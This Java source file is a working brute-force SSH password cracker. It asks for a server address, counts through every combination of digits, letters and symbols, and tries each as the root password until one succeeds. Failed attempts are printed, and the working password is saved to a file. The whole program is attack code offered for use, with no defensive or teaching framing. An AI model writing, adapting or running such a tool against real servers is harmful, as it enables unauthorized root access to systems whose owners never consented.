import ch.ethz.ssh2.Connection;
import com.sun.deploy.util.StringUtils;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.math.BigDecimal;
import java.util.Scanner;

/**
 * @author ：Lew
 * @description：
 * @date ：Created in 2022/4/2 13:13
 */
public class Code {
    private static BigDecimal counter = BigDecimal.ZERO;

    private static String hostName="";

    //for example:D://密码字典.txt
    private static String filePath = "";

    //密码可能会包含的字符集合
    private static char[] fullCharSource = { '1','2','3','4','5','6','7','8','9','0',
            'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',  'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
            'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',  'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
            '~', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_', '+', '{', '}', '|', ':', '"', '<', '>', '?', ';', '\'', ',', '.', '/', '-', '=', '`'};
    //将可能的密码集合长度
    private static int fullCharLength = fullCharSource.length;
    private static  BigDecimal fullDecimal = new BigDecimal(fullCharLength);


    //maxLength：生成的字符串的最大长度
    public static String generate(int maxLength) throws IOException {
        Long startTime = System.currentTimeMillis();
        Connection connection = new Connection(hostName);
        connection.connect();
        //计数器，多线程时可以对其加锁，当然得先转换成Integer类型。
        StringBuilder buider = new StringBuilder();

        PrintWriter pw = new PrintWriter(new OutputStreamWriter(new FileOutputStream(filePath), "utf-8"));

        while (buider.toString().length() <= maxLength) {
            buider = new StringBuilder(maxLength*2);
            BigDecimal _counter = counter;
            //10进制转换成26进制
            while (_counter.compareTo(fullDecimal) >= 0) {
                //获得低位
                BigDecimal[] divde = _counter.divideAndRemainder(fullDecimal);
                buider.insert(0, fullCharSource[divde[1].intValue()]);
                _counter = divde[0];
                //处理进制体系中只有10没有01的问题，在穷举里面是可以存在01的
                _counter = _counter.subtract(BigDecimal.ONE);
            }
            //最高位
            buider.insert(0,fullCharSource[_counter.intValue()]);
            counter = counter.add(BigDecimal.ONE);

            boolean flag = false;

            try{
                flag = connection.authenticateWithPassword("root",buider.toString());
            }catch (Exception e){
                System.out.println("第"+counter+"次尝试 错误密码:"+buider.toString()+"  消耗时长:"+(System.currentTimeMillis()-startTime)/1000+"秒");
            }

            if(flag){
                pw.write("第"+counter+"尝试成功密码为:"+buider.toString()+" 消耗时长:"+(System.currentTimeMillis()-startTime)/1000+"秒\n");
                return buider.toString();
            }
        }
        return "错误!";
    }

    public static Integer scanner(){
        System.out.print("生成的字典位置："+filePath+"\n"+"请输入你需要生成的字典位数：");
        Scanner sc = new Scanner(System.in);
        int x = sc.nextInt();
        return x;
    }

    public static void main(String[] args) throws IOException {
        if(hostName.length() == 0){
            System.out.println("请输入服务器地址:");
            hostName = new Scanner(System.in).nextLine();
        }

        if(filePath.length() == 0){
            System.out.println("请输生成的字典位置:");
            filePath = new Scanner(System.in).nextLine();
        }
        generate(scanner());
    }
}
